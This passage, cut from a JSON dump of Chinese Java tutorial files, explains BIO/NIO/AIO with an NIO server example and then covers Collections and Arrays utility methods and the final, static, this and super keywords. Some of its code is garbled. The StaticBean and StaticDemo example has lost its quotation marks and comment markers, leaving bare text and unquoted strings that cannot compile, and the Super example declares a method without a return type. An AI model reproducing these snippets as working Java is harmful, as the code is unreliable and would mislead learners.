0, len));\n              }\n            } catch (IOException e) {\n            }\n          }).start();\n\n        } catch (IOException e) {\n        }\n\n      }\n    }).start();\n\n  }\n\n}\n```\n\n### 1.4 总结\n\n在活动连接数不是特别高（小于单机1000）的情况下，这种模型是比较不错的，可以让每一个连接专注于自己的 I/O 并且编程模型简单，也不用过多考虑系统的过载、限流等问题。线程池本身就是一个天然的漏斗，可以缓冲一些系统处理不了的连接或请求。但是，当面对十万甚至百万级连接的时候，传统的 BIO 模型是无能为力的。因此，我们需要一种更高效的 I/O 处理模型来应对更高的并发量。\n\n\n\n## 2. NIO (New I/O)\n\n### 2.1 NIO 简介\n\n NIO是一种同步非阻塞的I/O模型，在Java 1.4 中引入了NIO框架，对应 java.nio 包，提供了 Channel , Selector，Buffer等抽象。\n \nNIO中的N可以理解为Non-blocking，不单纯是New。它支持面向缓冲的，基于通道的I/O操作方法。 NIO提供了与传统BIO模型中的 `Socket` 和 `ServerSocket` 相对应的 `SocketChannel` 和 `ServerSocketChannel` 两种不同的套接字通道实现,两种通道都支持阻塞和非阻塞两种模式。阻塞模式使用就像传统中的支持一样，比较简单，但是性能和可靠性都不好；非阻塞模式正好与之相反。对于低负载、低并发的应用程序，可以使用同步阻塞I/O来提升开发速率和更好的维护性；对于高负载、高并发的（网络）应用，应使用 NIO 的非阻塞模式来开发。\n\n### 2.2 NIO的特性/NIO与IO区别\n\n如果是在面试中回答这个问题，我觉得首先肯定要从 NIO 流是非阻塞 IO 而 IO 流是阻塞 IO 说起。然后，可以从 NIO 的3个核心组件/特性为 NIO 带来的一些改进来分析。如果，你把这些都回答上了我觉得你对于 NIO 就有了更为深入一点的认识，面试官问到你这个问题，你也能很轻松的回答上来了。\n\n#### 1)Non-blocking IO（非阻塞IO）\n\n**IO流是阻塞的，NIO流是不阻塞的。**\n\nJava NIO使我们可以进行非阻塞IO操作。比如说，单线程中从通道读取数据到buffer，同时可以继续做别的事情，当数据读取到buffer中后，线程再继续处理数据。写数据也是一样的。另外，非阻塞写也是如此。一个线程请求写入一些数据到某通道，但不需要等待它完全写入，这个线程同时可以去做别的事情。\n\nJava IO的各种流是阻塞的。这意味着，当一个线程调用 `read()` 或  `write()` 时，该线程被阻塞，直到有一些数据被读取，或数据完全写入。该线程在此期间不能再干任何事情了\n\n#### 2)Buffer(缓冲区)\n\n**IO 面向流(Stream oriented)，而 NIO 面向缓冲区(Buffer oriented)。**\n\nBuffer是一个对象，它包含一些要写入或者要读出的数据。在NIO类库中加入Buffer对象，体现了新库与原I/O的一个重要区别。在面向流的I/O中·可以将数据直接写入或者将数据直接读到 Stream 对象中。虽然 Stream 中也有 Buffer 开头的扩展类，但只是流的包装类，还是从流读到缓冲区，而 NIO 却是直接读到 Buffer 中进行操作。\n\n在NIO厍中，所有数据都是用缓冲区处理的。在读取数据时，它是直接读到缓冲区中的; 在写入数据时，写入到缓冲区中。任何时候访问NIO中的数据，都是通过缓冲区进行操作。\n\n最常用的缓冲区是 ByteBuffer,一个 ByteBuffer 提供了一组功能用于操作 byte 数组。除了ByteBuffer,还有其他的一些缓冲区，事实上，每一种Java基本类型（除了Boolean类型）都对应有一种缓冲区。\n\n#### 3)Channel (通道)\n\nNIO 通过Channel（通道） 进行读写。\n\n通道是双向的，可读也可写，而流的读写是单向的。无论读写，通道只能和Buffer交互。因为 Buffer，通道可以异步地读写。\n\n####  4)Selectors(选择器)\n\nNIO有选择器，而IO没有。\n\n选择器用于使用单个线程处理多个通道。因此，它需要较少的线程来处理这些通道。线程之间的切换对于操作系统来说是昂贵的。 因此，为了提高系统效率选择器是有用的。\n\n![一个单线程中Slector维护3个Channel的示意图](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-2/Slector.png)\n\n### 2.3  NIO 读数据和写数据方式\n通常来说NIO中的所有IO都是从 Channel（通道） 开始的。\n\n- 从通道进行数据读取 ：创建一个缓冲区，然后请求通道读取数据。\n- 从通道进行数据写入 ：创建一个缓冲区，填充数据，并要求通道写入数据。\n\n数据读取和写入操作图示：\n\n![NIO读写数据的方式](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-2/NIO读写数据的方式.png)\n\n\n### 2.4 NIO核心组件简单介绍\n\nNIO 包含下面几个核心的组件：\n\n- Channel(通道)\n- Buffer(缓冲区)\n- Selector(选择器)\n\n整个NIO体系包含的类远远不止这三个，只能说这三个是NIO体系的“核心API”。我们上面已经对这三个概念进行了基本的阐述，这里就不多做解释了。\n\n### 2.5 代码示例\n\n代码示例出自闪电侠的博客，原地址如下：        \n\n[https://www.jianshu.com/p/a4e03835921a](https://www.jianshu.com/p/a4e03835921a)\n\n客户端 IOClient.java 的代码不变，我们对服务端使用 NIO 进行改造。以下代码较多而且逻辑比较复杂，大家看看就好。\n\n```java\n/**\n * \n * @author 闪电侠\n * @date 2019年2月21日\n * @Description: NIO 改造后的服务端\n */\npublic class NIOServer {\n  public static void main(String[] args) throws IOException {\n    // 1. serverSelector负责轮询是否有新的连接，服务端监测到新的连接之后，不再创建一个新的线程，\n    // 而是直接将新连接绑定到clientSelector上，这样就不用 IO 模型中 1w 个 while 循环在死等\n    Selector serverSelector = Selector.open();\n    // 2. clientSelector负责轮询连接是否有数据可读\n    Selector clientSelector = Selector.open();\n\n    new Thread(() -> {\n      try {\n        // 对应IO编程中服务端启动\n        ServerSocketChannel listenerChannel = ServerSocketChannel.open();\n        listenerChannel.socket().bind(new InetSocketAddress(3333));\n        listenerChannel.configureBlocking(false);\n        listenerChannel.register(serverSelector, SelectionKey.OP_ACCEPT);\n\n        while (true) {\n          // 监测是否有新的连接，这里的1指的是阻塞的时间为 1ms\n          if (serverSelector.select(1) > 0) {\n            Set<SelectionKey> set = serverSelector.selectedKeys();\n            Iterator<SelectionKey> keyIterator = set.iterator();\n\n            while (keyIterator.hasNext()) {\n              SelectionKey key = keyIterator.next();\n\n              if (key.isAcceptable()) {\n                try {\n                  // (1)\n                  // 每来一个新连接，不需要创建一个线程，而是直接注册到clientSelector\n                  SocketChannel clientChannel = ((ServerSocketChannel) key.channel()).accept();\n                  clientChannel.configureBlocking(false);\n                  clientChannel.register(clientSelector, SelectionKey.OP_READ);\n                } finally {\n                  keyIterator.remove();\n                }\n              }\n\n            }\n          }\n        }\n      } catch (IOException ignored) {\n      }\n    }).start();\n    new Thread(() -> {\n      try {\n        while (true) {\n          // (2) 批量轮询是否有哪些连接有数据可读，这里的1指的是阻塞的时间为 1ms\n          if (clientSelector.select(1) > 0) {\n            Set<SelectionKey> set = clientSelector.selectedKeys();\n            Iterator<SelectionKey> keyIterator = set.iterator();\n\n            while (keyIterator.hasNext()) {\n              SelectionKey key = keyIterator.next();\n\n              if (key.isReadable()) {\n                try {\n                  SocketChannel clientChannel = (SocketChannel) key.channel();\n                  ByteBuffer byteBuffer = ByteBuffer.allocate(1024);\n                  // (3) 面向 Buffer\n                  clientChannel.read(byteBuffer);\n                  byteBuffer.flip();\n                  System.out.println(\n                      Charset.defaultCharset().newDecoder().decode(byteBuffer).toString());\n                } finally {\n                  keyIterator.remove();\n                  key.interestOps(SelectionKey.OP_READ);\n                }\n              }\n\n            }\n          }\n        }\n      } catch (IOException ignored) {\n      }\n    }).start();\n\n  }\n}\n```\n\n为什么大家都不愿意用 JDK 原生 NIO 进行开发呢？从上面的代码中大家都可以看出来，是真的难用！除了编程复杂、编程模型难之外，它还有以下让人诟病的问题：\n\n- JDK 的 NIO 底层由 epoll 实现，该实现饱受诟病的空轮询 bug 会导致 cpu 飙升 100%\n- 项目庞大之后，自行实现的 NIO 很容易出现各类 bug，维护成本较高，上面这一坨代码我都不能保证没有 bug\n\nNetty 的出现很大程度上改善了 JDK 原生 NIO 所存在的一些让人难以忍受的问题。\n\n### 3. AIO (Asynchronous I/O)\n\nAIO 也就是 NIO 2。在 Java 7 中引入了 NIO 的改进版 NIO 2,它是异步非阻塞的IO模型。异步 IO 是基于事件和回调机制实现的，也就是应用操作之后会直接返回，不会堵塞在那里，当后台处理完成，操作系统会通知相应的线程进行后续的操作。\n\nAIO 是异步IO的缩写，虽然 NIO 在网络操作中，提供了非阻塞的方法，但是 NIO 的 IO 行为还是同步的。对于 NIO 来说，我们的业务线程是在 IO 操作准备好时，得到通知，接着就由这个线程自行进行 IO 操作，IO操作本身是同步的。（除了 AIO 其他的 IO 类型都是同步的，这一点可以从底层IO线程模型解释，推荐一篇文章：[《漫话：如何给女朋友解释什么是Linux的五种IO模型？》](https://mp.weixin.qq.com/s?__biz=Mzg3MjA4MTExMw==&mid=2247484746&amp;idx=1&amp;sn=c0a7f9129d780786cabfcac0a8aa6bb7&source=41#wechat_redirect) ）\n\n查阅网上相关资料，我发现就目前来说 AIO 的应用还不是很广泛，Netty 之前也尝试使用过 AIO，不过又放弃了。\n\n## 参考\n\n- 《Netty 权威指南》第二版\n- https://zhuanlan.zhihu.com/p/23488863 (美团技术团队)\n"
  },
  {
    "path": "docs/java/Basis/Arrays,CollectionsCommonMethods.md",
    "content": "<!-- TOC -->\n\n- [Collections 工具类和 Arrays 工具类常见方法](#collections-工具类和-arrays-工具类常见方法)\n    - [Collections](#collections)\n        - [排序操作](#排序操作)\n        - [查找,替换操作](#查找替换操作)\n        - [同步控制](#同步控制)\n    - [Arrays类的常见操作](#arrays类的常见操作)\n        - [排序 : `sort()`](#排序--sort)\n        - [查找 : `binarySearch()`](#查找--binarysearch)\n        - [比较: `equals()`](#比较-equals)\n        - [填充 : `fill()`](#填充--fill)\n        - [转列表 `asList()`](#转列表-aslist)\n        - [转字符串 `toString()`](#转字符串-tostring)\n        - [复制 `copyOf()`](#复制-copyof)\n\n<!-- /TOC -->\n# Collections 工具类和 Arrays 工具类常见方法\n\n## Collections\n\nCollections 工具类常用方法:\n\n1. 排序\n2. 查找,替换操作\n3. 同步控制(不推荐，需要线程安全的集合类型时请考虑使用 JUC 包下的并发集合)\n\n###  排序操作\n\n```java\nvoid reverse(List list)//反转\nvoid shuffle(List list)//随机排序\nvoid sort(List list)//按自然排序的升序排序\nvoid sort(List list, Comparator c)//定制排序，由Comparator控制排序逻辑\nvoid swap(List list, int i , int j)//交换两个索引位置的元素\nvoid rotate(List list, int distance)//旋转。当distance为正数时，将list后distance个元素整体移到前面。当distance为负数时，将 list的前distance个元素整体移到后面。\n```\n\n**示例代码:**\n\n```java\n     ArrayList<Integer> arrayList = new ArrayList<Integer>();\n\t\tarrayList.add(-1);\n\t\tarrayList.add(3);\n\t\tarrayList.add(3);\n\t\tarrayList.add(-5);\n\t\tarrayList.add(7);\n\t\tarrayList.add(4);\n\t\tarrayList.add(-9);\n\t\tarrayList.add(-7);\n\t\tSystem.out.println(\"原始数组:\");\n\t\tSystem.out.println(arrayList);\n\t\t// void reverse(List list)：反转\n\t\tCollections.reverse(arrayList);\n\t\tSystem.out.println(\"Collections.reverse(arrayList):\");\n\t\tSystem.out.println(arrayList);\n\t\t\n\t\t \n\t\tCollections.rotate(arrayList, 4);\n\t\tSystem.out.println(\"Collections.rotate(arrayList, 4):\");\n\t\tSystem.out.println(arrayList);\n\t\t\n\t\t// void sort(List list),按自然排序的升序排序\n\t\tCollections.sort(arrayList);\n\t\tSystem.out.println(\"Collections.sort(arrayList):\");\n\t\tSystem.out.println(arrayList);\n\n\t\t// void shuffle(List list),随机排序\n\t\tCollections.shuffle(arrayList);\n\t\tSystem.out.println(\"Collections.shuffle(arrayList):\");\n\t\tSystem.out.println(arrayList);\n\t\t\n\t\t// void swap(List list, int i , int j),交换两个索引位置的元素\n\t\tCollections.swap(arrayList, 2, 5);\n\t\tSystem.out.println(\"Collections.swap(arrayList, 2, 5):\");\n\t\tSystem.out.println(arrayList);\n\n\t\t// 定制排序的用法\n\t\tCollections.sort(arrayList, new Comparator<Integer>() {\n\n\t\t\t@Override\n\t\t\tpublic int compare(Integer o1, Integer o2) {\n\t\t\t\treturn o2.compareTo(o1);\n\t\t\t}\n\t\t});\n\t\tSystem.out.println(\"定制排序后：\");\n\t\tSystem.out.println(arrayList);\n```\n\n### 查找,替换操作\n\n```java\nint binarySearch(List list, Object key)//对List进行二分查找，返回索引，注意List必须是有序的\nint max(Collection coll)//根据元素的自然顺序，返回最大的元素。 类比int min(Collection coll)\nint max(Collection coll, Comparator c)//根据定制排序，返回最大元素，排序规则由Comparatator类控制。类比int min(Collection coll, Comparator c)\nvoid fill(List list, Object obj)//用指定的元素代替指定list中的所有元素。 \nint frequency(Collection c, Object o)//统计元素出现次数\nint indexOfSubList(List list, List target)//统计target在list中第一次出现的索引，找不到则返回-1，类比int lastIndexOfSubList(List source, list target).\nboolean replaceAll(List list, Object oldVal, Object newVal), 用新元素替换旧元素\n```\n\n**示例代码：**\n\n```java\n\t\tArrayList<Integer> arrayList = new ArrayList<Integer>();\n\t\tarrayList.add(-1);\n\t\tarrayList.add(3);\n\t\tarrayList.add(3);\n\t\tarrayList.add(-5);\n\t\tarrayList.add(7);\n\t\tarrayList.add(4);\n\t\tarrayList.add(-9);\n\t\tarrayList.add(-7);\n\t\tArrayList<Integer> arrayList2 = new ArrayList<Integer>();\n\t\tarrayList2.add(-3);\n\t\tarrayList2.add(-5);\n\t\tarrayList2.add(7);\n\t\tSystem.out.println(\"原始数组:\");\n\t\tSystem.out.println(arrayList);\n\n\t\tSystem.out.println(\"Collections.max(arrayList):\");\n\t\tSystem.out.println(Collections.max(arrayList));\n\n\t\tSystem.out.println(\"Collections.min(arrayList):\");\n\t\tSystem.out.println(Collections.min(arrayList));\n\n\t\tSystem.out.println(\"Collections.replaceAll(arrayList, 3, -3):\");\n\t\tCollections.replaceAll(arrayList, 3, -3);\n\t\tSystem.out.println(arrayList);\n\n\t\tSystem.out.println(\"Collections.frequency(arrayList, -3):\");\n\t\tSystem.out.println(Collections.frequency(arrayList, -3));\n\n\t\tSystem.out.println(\"Collections.indexOfSubList(arrayList, arrayList2):\");\n\t\tSystem.out.println(Collections.indexOfSubList(arrayList, arrayList2));\n\n\t\tSystem.out.println(\"Collections.binarySearch(arrayList, 7):\");\n\t\t// 对List进行二分查找，返回索引，List必须是有序的\n\t\tCollections.sort(arrayList);\n\t\tSystem.out.println(Collections.binarySearch(arrayList, 7));\n```\n\n### 同步控制\n\nCollectons提供了多个`synchronizedXxx()`方法·，该方法可以将指定集合包装成线程同步的集合，从而解决多线程并发访问集合时的线程安全问题。\n\n我们知道 HashSet，TreeSet，ArrayList,LinkedList,HashMap,TreeMap 都是线程不安全的。Collections提供了多个静态方法可以把他们包装成线程同步的集合。\n\n**最好不要用下面这些方法，效率非常低，需要线程安全的集合类型时请考虑使用 JUC 包下的并发集合。**\n\n方法如下：\n\n```java\nsynchronizedCollection(Collection<T>  c) //返回指定 collection 支持的同步（线程安全的）collection。\nsynchronizedList(List<T> list)//返回指定列表支持的同步（线程安全的）List。 \nsynchronizedMap(Map<K,V> m) //返回由指定映射支持的同步（线程安全的）Map。\nsynchronizedSet(Set<T> s) //返回指定 set 支持的同步（线程安全的）set。 \n```\n\n### Collections还可以设置不可变集合，提供了如下三类方法：\n\n```java\nemptyXxx(): 返回一个空的、不可变的集合对象，此处的集合既可以是List，也可以是Set，还可以是Map。\nsingletonXxx(): 返回一个只包含指定对象（只有一个或一个元素）的不可变的集合对象，此处的集合可以是：List，Set，Map。\nunmodifiableXxx(): 返回指定集合对象的不可变视图，此处的集合可以是：List，Set，Map。\n上面三类方法的参数是原有的集合对象，返回值是该集合的”只读“版本。\n```\n\n**示例代码：**\n\n```java\n        ArrayList<Integer> arrayList = new ArrayList<Integer>();\n        arrayList.add(-1);\n        arrayList.add(3);\n        arrayList.add(3);\n        arrayList.add(-5);\n        arrayList.add(7);\n        arrayList.add(4);\n        arrayList.add(-9);\n        arrayList.add(-7);\n        HashSet<Integer> integers1 = new HashSet<>();\n        integers1.add(1);\n        integers1.add(3);\n        integers1.add(2);\n        Map scores = new HashMap();\n        scores.put(\"语文\" , 80);\n        scores.put(\"Java\" , 82);\n\n        //Collections.emptyXXX();创建一个空的、不可改变的XXX对象\n        List<Object> list = Collections.emptyList();\n        System.out.println(list);//[]\n        Set<Object> objects = Collections.emptySet();\n        System.out.println(objects);//[]\n        Map<Object, Object> objectObjectMap = Collections.emptyMap();\n        System.out.println(objectObjectMap);//{}\n\n        //Collections.singletonXXX();\n        List<ArrayList<Integer>> arrayLists = Collections.singletonList(arrayList);\n        System.out.println(arrayLists);//[[-1, 3, 3, -5, 7, 4, -9, -7]]\n        //创建一个只有一个元素，且不可改变的Set对象\n        Set<ArrayList<Integer>> singleton = Collections.singleton(arrayList);\n        System.out.println(singleton);//[[-1, 3, 3, -5, 7, 4, -9, -7]]\n        Map<String, String> nihao = Collections.singletonMap(\"1\", \"nihao\");\n        System.out.println(nihao);//{1=nihao}\n\n        //unmodifiableXXX();创建普通XXX对象对应的不可变版本\n        List<Integer> integers = Collections.unmodifiableList(arrayList);\n        System.out.println(integers);//[-1, 3, 3, -5, 7, 4, -9, -7]\n        Set<Integer> integers2 = Collections.unmodifiableSet(integers1);\n        System.out.println(integers2);//[1, 2, 3]\n        Map<Object, Object> objectObjectMap2 = Collections.unmodifiableMap(scores);\n        System.out.println(objectObjectMap2);//{Java=82, 语文=80}\n\n        //添加出现异常：java.lang.UnsupportedOperationException\n//        list.add(1);\n//        arrayLists.add(arrayList);\n//        integers.add(1);\n```\n\n## Arrays类的常见操作\n1. 排序 : `sort()`\n2. 查找 : `binarySearch()`\n3. 比较: `equals()`\n4. 填充 : `fill()`\n5. 转列表:  `asList()`\n6. 转字符串 : `toString()`\n7. \n\n### 排序 : `sort()`\n\n```java\n\t\t// *************排序 sort****************\n\t\tint a[] = { 1, 3, 2, 7, 6, 5, 4, 9 };\n\t\t// sort(int[] a)方法按照数字顺序排列指定的数组。\n\t\tArrays.sort(a);\n\t\tSystem.out.println(\"Arrays.sort(a):\");\n\t\tfor (int i : a) {\n\t\t\tSystem.out.print(i);\n\t\t}\n\t\t// 换行\n\t\tSystem.out.println();\n\n\t\t// sort(int[] a,int fromIndex,int toIndex)按升序排列数组的指定范围\n\t\tint b[] = { 1, 3, 2, 7, 6, 5, 4, 9 };\n\t\tArrays.sort(b, 2, 6);\n\t\tSystem.out.println(\"Arrays.sort(b, 2, 6):\");\n\t\tfor (int i : b) {\n\t\t\tSystem.out.print(i);\n\t\t}\n\t\t// 换行\n\t\tSystem.out.println();\n\n\t\tint c[] = { 1, 3, 2, 7, 6, 5, 4, 9 };\n\t\t// parallelSort(int[] a) 按照数字顺序排列指定的数组。同sort方法一样也有按范围的排序\n\t\tArrays.parallelSort(c);\n\t\tSystem.out.println(\"Arrays.parallelSort(c)：\");\n\t\tfor (int i : c) {\n\t\t\tSystem.out.print(i);\n\t\t}\n\t\t// 换行\n\t\tSystem.out.println();\n\n\t\t// parallelSort给字符数组排序，sort也可以\n\t\tchar d[] = { 'a', 'f', 'b', 'c', 'e', 'A', 'C', 'B' };\n\t\tArrays.parallelSort(d);\n\t\tSystem.out.println(\"Arrays.parallelSort(d)：\");\n\t\tfor (char d2 : d) {\n\t\t\tSystem.out.print(d2);\n\t\t}\n\t\t// 换行\n\t\tSystem.out.println();\n\n```\n\n在做算法面试题的时候，我们还可能会经常遇到对字符串排序的情况,`Arrays.sort()` 对每个字符串的特定位置进行比较，然后按照升序排序。\n\n```java\nString[] strs = { \"abcdehg\", \"abcdefg\", \"abcdeag\" };\nArrays.sort(strs);\nSystem.out.println(Arrays.toString(strs));//[abcdeag, abcdefg, abcdehg]\n```\n\n### 查找 : `binarySearch()`\n\n```java\n\t\t// *************查找 binarySearch()****************\n\t\tchar[] e = { 'a', 'f', 'b', 'c', 'e', 'A', 'C', 'B' };\n\t\tSystem.out.println(\"Arrays.binarySearch(e, 'c')：\");\n\t\tint s = Arrays.binarySearch(e, 'c');\n\t\tSystem.out.println(\"字符c在数组的位置：\" + s);\n```\n\n### 比较: `equals()`\n\n```java\n\t// *************比较 equals****************\n        char[] e = { 'a', 'f', 'b', 'c', 'e', 'A', 'C', 'B' };\n\t\tchar[] f = { 'a', 'f', 'b', 'c', 'e', 'A', 'C', 'B' };\n\t\t/*\n\t\t * 元素数量相同，并且相同位置的元素相同。 另外，如果两个数组引用都是null，则它们被认为是相等的 。\n\t\t */\n\t\t// 输出true\n\t\tSystem.out.println(\"Arrays.equals(e, f):\" + Arrays.equals(e, f));\n```\n\n### 填充 : `fill()`\n\n```java\n\t\t// *************填充fill(批量初始化)****************\n\t\tint[] g = { 1, 2, 3, 3, 3, 3, 6, 6, 6 };\n\t\t// 数组中所有元素重新分配值\n\t\tArrays.fill(g, 3);\n\t\tSystem.out.println(\"Arrays.fill(g, 3)：\");\n\t\t// 输出结果：333333333\n\t\tfor (int i : g) {\n\t\t\tSystem.out.print(i);\n\t\t}\n\t\t// 换行\n\t\tSystem.out.println();\n\n\t\tint[] h = { 1, 2, 3, 3, 3, 3, 6, 6, 6, };\n\t\t// 数组中指定范围元素重新分配值\n\t\tArrays.fill(h, 0, 2, 9);\n\t\tSystem.out.println(\"Arrays.fill(h, 0, 2, 9);：\");\n\t\t// 输出结果：993333666\n\t\tfor (int i : h) {\n\t\t\tSystem.out.print(i);\n\t\t}\n```\n\n### 转列表 `asList()`\n\n```java\n\t\t// *************转列表 asList()****************\n\t\t/*\n\t\t * 返回由指定数组支持的固定大小的列表。\n\t\t * （将返回的列表更改为“写入数组”。）该方法作为基于数组和基于集合的API之间的桥梁，与Collection.toArray()相结合 。\n\t\t * 返回的列表是可序列化的，并实现RandomAccess 。\n\t\t * 此方法还提供了一种方便的方式来创建一个初始化为包含几个元素的固定大小的列表如下：\n\t\t */\n\t\tList<String> stooges = Arrays.asList(\"Larry\", \"Moe\", \"Curly\");\n\t\tSystem.out.println(stooges);\n```\n\n### 转字符串 `toString()`\n\n```java\n        // *************转字符串 toString()****************\n        /*\n         * 返回指定数组的内容的字符串表示形式。\n         */\n        char[] k = { 'a', 'f', 'b', 'c', 'e', 'A', 'C', 'B' };\n        System.out.println(Arrays.toString(k));// [a, f, b, c, e, A, C, B]\n```\n\n### 复制 `copyOf()`\n\n```java\n\t\t// *************复制 copy****************\n\t\t// copyOf 方法实现数组复制,h为数组，6为复制的长度\n        int[] h = { 1, 2, 3, 3, 3, 3, 6, 6, 6, };\n\t\tint i[] = Arrays.copyOf(h, 6);\n\t\tSystem.out.println(\"Arrays.copyOf(h, 6);：\");\n\t\t// 输出结果：123333\n\t\tfor (int j : i) {\n\t\t\tSystem.out.print(j);\n\t\t}\n\t\t// 换行\n\t\tSystem.out.println();\n\t\t// copyOfRange将指定数组的指定范围复制到新数组中\n\t\tint j[] = Arrays.copyOfRange(h, 6, 11);\n\t\tSystem.out.println(\"Arrays.copyOfRange(h, 6, 11)：\");\n\t\t// 输出结果66600(h数组只有9个元素这里是从索引6到索引11复制所以不足的就为0)\n\t\tfor (int j2 : j) {\n\t\t\tSystem.out.print(j2);\n\t\t}\n\t\t// 换行\n\t\tSystem.out.println();\n```\n\n"
  },
  {
    "path": "docs/java/Basis/final、static、this、super.md",
    "content": "<!-- MarkdownTOC -->\n\n- [final,static,this,super 关键字总结](#finalstaticthissuper-关键字总结)\n  - [final 关键字](#final-关键字)\n  - [static 关键字](#static-关键字)\n  - [this 关键字](#this-关键字)\n  - [super 关键字](#super-关键字)\n  - [参考](#参考)\n- [static 关键字详解](#static-关键字详解)\n  - [static 关键字主要有以下四种使用场景](#static-关键字主要有以下四种使用场景)\n    - [修饰成员变量和成员方法\\(常用\\)](#修饰成员变量和成员方法常用)\n    - [静态代码块](#静态代码块)\n    - [静态内部类](#静态内部类)\n    - [静态导包](#静态导包)\n  - [补充内容](#补充内容)\n    - [静态方法与非静态方法](#静态方法与非静态方法)\n    - [static{}静态代码块与{}非静态代码块\\(构造代码块\\)](#static静态代码块与非静态代码块构造代码块)\n    - [参考](#参考-1)\n\n<!-- /MarkdownTOC -->\n\n# final,static,this,super 关键字总结\n\n## final 关键字\n\n**final关键字主要用在三个地方：变量、方法、类。**\n\n1. **对于一个final变量，如果是基本数据类型的变量，则其数值一旦在初始化之后便不能更改；如果是引用类型的变量，则在对其初始化之后便不能再让其指向另一个对象。**\n\n2. **当用final修饰一个类时，表明这个类不能被继承。final类中的所有成员方法都会被隐式地指定为final方法。**\n\n3. 使用final方法的原因有两个。第一个原因是把方法锁定，以防任何继承类修改它的含义；第二个原因是效率。在早期的Java实现版本中，会将final方法转为内嵌调用。但是如果方法过于庞大，可能看不到内嵌调用带来的任何性能提升（现在的Java版本已经不需要使用final方法进行这些优化了）。类中所有的private方法都隐式地指定为final。\n\n## static 关键字\n\n**static 关键字主要有以下四种使用场景：**\n\n1. **修饰成员变量和成员方法:** 被 static 修饰的成员属于类，不属于单个这个类的某个对象，被类中所有对象共享，可以并且建议通过类名调用。被static 声明的成员变量属于静态成员变量，静态变量 存放在 Java 内存区域的方法区。调用格式：`类名.静态变量名`    `类名.静态方法名()`\n2. **静态代码块:** 静态代码块定义在类中方法外, 静态代码块在非静态代码块之前执行(静态代码块—>非静态代码块—>构造方法)。 该类不管创建多少对象，静态代码块只执行一次.\n3. **静态内部类（static修饰类的话只能修饰内部类）：** 静态内部类与非静态内部类之间存在一个最大的区别: 非静态内部类在编译完成之后会隐含地保存着一个引用，该引用是指向创建它的外围类，但是静态内部类却没有。没有这个引用就意味着：1. 它的创建是不需要依赖外围类的创建。2. 它不能使用任何外围类的非static成员变量和方法。\n4. **静态导包(用来导入类中的静态资源，1.5之后的新特性):** 格式为：`import static` 这两个关键字连用可以指定导入某个类中的指定静态资源，并且不需要使用类名调用类中静态成员，可以直接使用类中静态成员变量和成员方法。\n\n## this 关键字\n\nthis关键字用于引用类的当前实例。 例如：\n\n```java\nclass Manager {\n    Employees[] employees;\n     \n    void manageEmployees() {\n        int totalEmp = this.employees.length;\n        System.out.println(\"Total employees: \" + totalEmp);\n        this.report();\n    }\n     \n    void report() { }\n}\n```\n\n在上面的示例中，this关键字用于两个地方：\n\n- this.employees.length：访问类Manager的当前实例的变量。\n- this.report（）：调用类Manager的当前实例的方法。\n\n此关键字是可选的，这意味着如果上面的示例在不使用此关键字的情况下表现相同。 但是，使用此关键字可能会使代码更易读或易懂。\n\n\n\n## super 关键字\n\nsuper关键字用于从子类访问父类的变量和方法。 例如：\n\n```java\npublic class Super {\n    protected int number;\n     \n    protected showNumber() {\n        System.out.println(\"number = \" + number);\n    }\n}\n \npublic class Sub extends Super {\n    void bar() {\n        super.number = 10;\n        super.showNumber();\n    }\n}\n```\n\n在上面的例子中，Sub 类访问父类成员变量 number 并调用其其父类 Super 的 `showNumber（）` 方法。\n\n**使用 this 和 super 要注意的问题：**\n\n- 在构造器中使用 `super（）` 调用父类中的其他构造方法时，该语句必须处于构造器的首行，否则编译器会报错。另外，this 调用本类中的其他构造方法时，也要放在首行。\n- this、super不能用在static方法中。\n\n**简单解释一下：**\n\n被 static 修饰的成员属于类，不属于单个这个类的某个对象，被类中所有对象共享。而 this 代表对本类对象的引用，指向本类对象；而 super 代表对父类对象的引用，指向父类对象；所以， **this和super是属于对象范畴的东西，而静态方法是属于类范畴的东西**。\n\n## 参考\n\n- https://www.codejava.net/java-core/the-java-language/java-keywords\n- https://blog.csdn.net/u013393958/article/details/79881037\n\n# static 关键字详解\n\n## static 关键字主要有以下四种使用场景\n\n1. 修饰成员变量和成员方法\n2. 静态代码块\n3. 修饰类(只能修饰内部类)\n4. 静态导包(用来导入类中的静态资源，1.5之后的新特性)\n\n### 修饰成员变量和成员方法(常用)\n\n被 static 修饰的成员属于类，不属于单个这个类的某个对象，被类中所有对象共享，可以并且建议通过类名调用。被static 声明的成员变量属于静态成员变量，静态变量 存放在 Java 内存区域的方法区。\n\n方法区与 Java 堆一样，是各个线程共享的内存区域，它用于存储已被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。虽然Java虚拟机规范把方法区描述为堆的一个逻辑部分，但是它却有一个别名叫做 Non-Heap（非堆），目的应该是与 Java 堆区分开来。\n\n HotSpot 虚拟机中方法区也常被称为 “永久代”，本质上两者并不等价。仅仅是因为 HotSpot 虚拟机设计团队用永久代来实现方法区而已，这样 HotSpot 虚拟机的垃圾收集器就可以像管理 Java 堆一样管理这部分内存了。但是这并不是一个好主意，因为这样更容易遇到内存溢出问题。\n\n\n\n调用格式：\n\n- 类名.静态变量名\n- 类名.静态方法名()\n\n如果变量或者方法被 private 则代表该属性或者该方法只能在类的内部被访问而不能在类的外部被访问。\n\n测试方法：\n\n```java\npublic class StaticBean {\n\n    String name;\n    静态变量\n    static int age;\n\n    public StaticBean(String name) {\n        this.name = name;\n    }\n    静态方法\n    static void SayHello() {\n        System.out.println(Hello i am java);\n    }\n    @Override\n    public String toString() {\n        return StaticBean{ +\n                name=' + name + ''' + age + age +\n                '}';\n    }\n}\n```\n\n```java\npublic class StaticDemo {\n\n    public static void main(String[] args) {\n        StaticBean staticBean = new StaticBean(1);\n        StaticBean staticBean2 = new StaticBean(2);\n        StaticBean staticBean3 = new StaticBean(3);\n        StaticBean staticBean4 = new StaticBean(4);\n        StaticBean.age = 33;\n        StaticBean{name='1'age33} StaticBean{name='2'age33} StaticBean{name='3'age33} StaticBean{name='4'age33}\n        System.out.println(staticBean+ +staticBean2+ +staticBean3+ +staticBean4);\n        StaticBean.SayHello();Hello i am java\n    }\n\n}\n```\n\n\n### 静态代码块\n\n静态代码块定义在类中方法外, 静态代码块在非静态代码块之前执行(静态代码块—非静态代码块—构造方法)。 该类不管创建多少对象，静态代码块只执行一次.\n\n静态代码块的格式是 \n\n```\nstatic {    \n语句体;   